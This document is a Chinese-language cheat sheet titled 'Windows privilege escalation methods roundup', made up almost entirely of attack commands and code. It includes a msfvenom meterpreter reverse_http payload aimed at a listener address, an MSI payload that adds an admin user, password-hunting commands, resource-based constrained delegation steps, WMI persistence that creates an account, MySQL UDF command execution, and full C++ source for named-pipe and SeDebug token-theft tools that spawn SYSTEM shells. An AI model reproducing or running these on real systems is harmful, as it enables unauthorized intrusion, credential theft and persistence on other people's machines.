干货|Windows提权方法汇总

C:Program Filesfloder1service.exe

C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组（根据实际情况来填哪个组）对哪些服务有哪些权限

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller]
“AlwaysInstallElevated”=dword:00000001

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

C:WindowsPanther
C:WindowsPantherUnattend
C:WindowsSystem32
C:WindowsSystem32sysprep

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指令
C:UsersuserDesktop> dir C: /s /b /c | findstr /sr *password*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Import-Module .Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

#pragma namespace("\\.\root\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa "Win32_LocalTime" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";   //修改此处即可
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

python ./cloak.py -d -i ./lib_mysqludf_sys.dll_  即可获得dll文件

show variables like "%plugin%";获得  （/lib/plugin文件夹需要自己创建）

create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');

select load_file("xxx") into dumpfile "xxxx";

#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {
	WCHAR Servicename[] = L"ServiceA";
	SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
	StartServiceCtrlDispatcher(Table);
}

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


	m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
	m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
	m_ServiceStatus.dwWin32ExitCode = 0;
	m_ServiceStatus.dwServiceSpecificExitCode = 0;
	m_ServiceStatus.dwCheckPoint = 0;
	m_ServiceStatus.dwWaitHint = 0;

	m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
	m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	m_ServiceStatus.dwCheckPoint = 0;
	m_ServiceStatus.dwWaitHint = 0;
	SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
	bRunning = true;
	while (bRunning) {
	LPCWSTR PipeName = L"\\.\pipe\testpipe";
	HANDLE PipeHandle=NULL;
	BOOL PipeInstance;
	WCHAR message[512] = { 0 };
	DWORD bytesWritten = 0;
	BOOL Flag = true;
	wchar_t message2[] = L"HELL";
	DWORD messageLength = lstrlen(message2) * 2;
	do {
		PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	} while (PipeHandle == INVALID_HANDLE_VALUE);

	WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

	Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
	std::cout << "Message:" << message << std::endl;
	}
}

void WINAPI HandlerFunc(DWORD code) {
	switch (code) {
	case SERVICE_CONTROL_PAUSE:
		m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
		break;
	case SERVICE_CONTROL_CONTINUE:
		m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
		break;
	case SERVICE_CONTROL_STOP:
		m_ServiceStatus.dwWin32ExitCode = 0;
		m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		m_ServiceStatus.dwCheckPoint = 0;
		m_ServiceStatus.dwWaitHint = 0;

		SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
		bRunning = false;
		break;
	case SERVICE_CONTROL_INTERROGATE:
		break;
	}
}

#include<Windows.h>
#include<iostream>

int main() {
	LPCWSTR pipeName = L"\\.\pipe\testpipe";
	LPVOID pipeBuffer = NULL;
	HANDLE serverPipe;
	DWORD readBytes = 0;
	DWORD readBuffer = 0;
	int err = 0;
	BOOL isPipeConnected;
	BOOL isPipeOpen;
	wchar_t message[] = L"HELL";
	DWORD messageLenght = lstrlen(message) * 2;
	DWORD bytesWritten = 0;
	WCHAR message2[512] = { 0 };
//Open a Named Pipe,Wait for a connection
	std::wcout << "Creating named pipe " << pipeName << std::endl;
	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

//Create a service of system to connect to our NamedPipe.

	char servicename[] = "Service.exe";
	char servicepath[_MAX_PATH];
	SERVICE_STATUS status;
	GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
	SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
	if (GetLastError() == 0) {

	}
	else {
		std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
	}
	SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
		SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
		servicepath, NULL, NULL, NULL, NULL, NULL);
	if (!scService) {
		if (GetLastError() == 1073) {
			std::cout << "The Service has been exsisted" << std::endl;
		}
		else {
			std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
		}
	}
	SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
	if (StartService(scServiceA, 0, NULL)) {
		std::cout<<"service Start success"<<std::endl;
	}
	else {
		if (GetLastError() == 1056) {
			std::cout << "service is running,don't need to start again" << std::endl;
		}
	}
//Connect !
	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

	if (isPipeConnected) {
		std::wcout << "Incoming connection to " << pipeName << std::endl;
		ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
		std::cout << message2;
	}
	else {
		std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
	}

	std::wcout << "Sending message: " << message << std::endl;
	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
	std::wcout << "Impersonating the client..." << std::endl;
	if (!ImpersonateNamedPipeClient(serverPipe)) {
		std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
	}
	else {
	std::cout << "ImpersonateNamedPipeClient success" << std::endl;
	}

	STARTUPINFOA si;
	PROCESS_INFORMATION pi = {};
	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	HANDLE token;
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
		std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
	}

	CHAR command1[] = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
	WCHAR command2[] = L"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
	HANDLE Token;
	if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
		std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
	}
	else {
		std::cout << "Impersonate completed" << std::endl;
	}
	if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
		std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
		if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
			std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
		}
		else {
			std::cout << "CreateProcessWithTokenW success" << std::endl;
		}
	}
	else {
		std::cout << "CreateProcessWithTokenW success" << std::endl;
	}

	while(1){}
}

#include <iostream>
#include <Windows.h>


//Only administrator can get debug priv
BOOL GetDebugPriv() {
	HANDLE Token;
	TOKEN_PRIVILEGES tp;
	LUID Luid;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
		std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
		return false;
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
		std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
		return false;
	}
	tp.Privileges[0].Luid = Luid;
	if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
		std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
		return false;
	}
	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
		return false;
	}
	else {
		return true;
	}
}



int main(int argc, char* argv[]) {
	HANDLE t_process;
	HANDLE token = NULL;
	HANDLE token_bak = NULL;
	DWORD process_id;
	sscanf_s(argv[1], "%ul", &process_id);
	WCHAR command[] = L"C:\Windows\System32\cmd.exe";
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);
	std::cout << argv[1] << std::endl;
	std::cout << "Openning process PID:" << process_id << std::endl;
	if (GetDebugPriv()== TRUE) {
		std::cout << "Got the debug priv" << std::endl;
	}
	else {
		std::cout << "GetDebugPriv ERROR" << std::endl;
	}
	system("whoami /priv");
	t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
	if (!t_process) {
		std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
	}
	if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
		std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
	}

	if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
		std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
	}
	if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
		std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
	}
	return 0;
}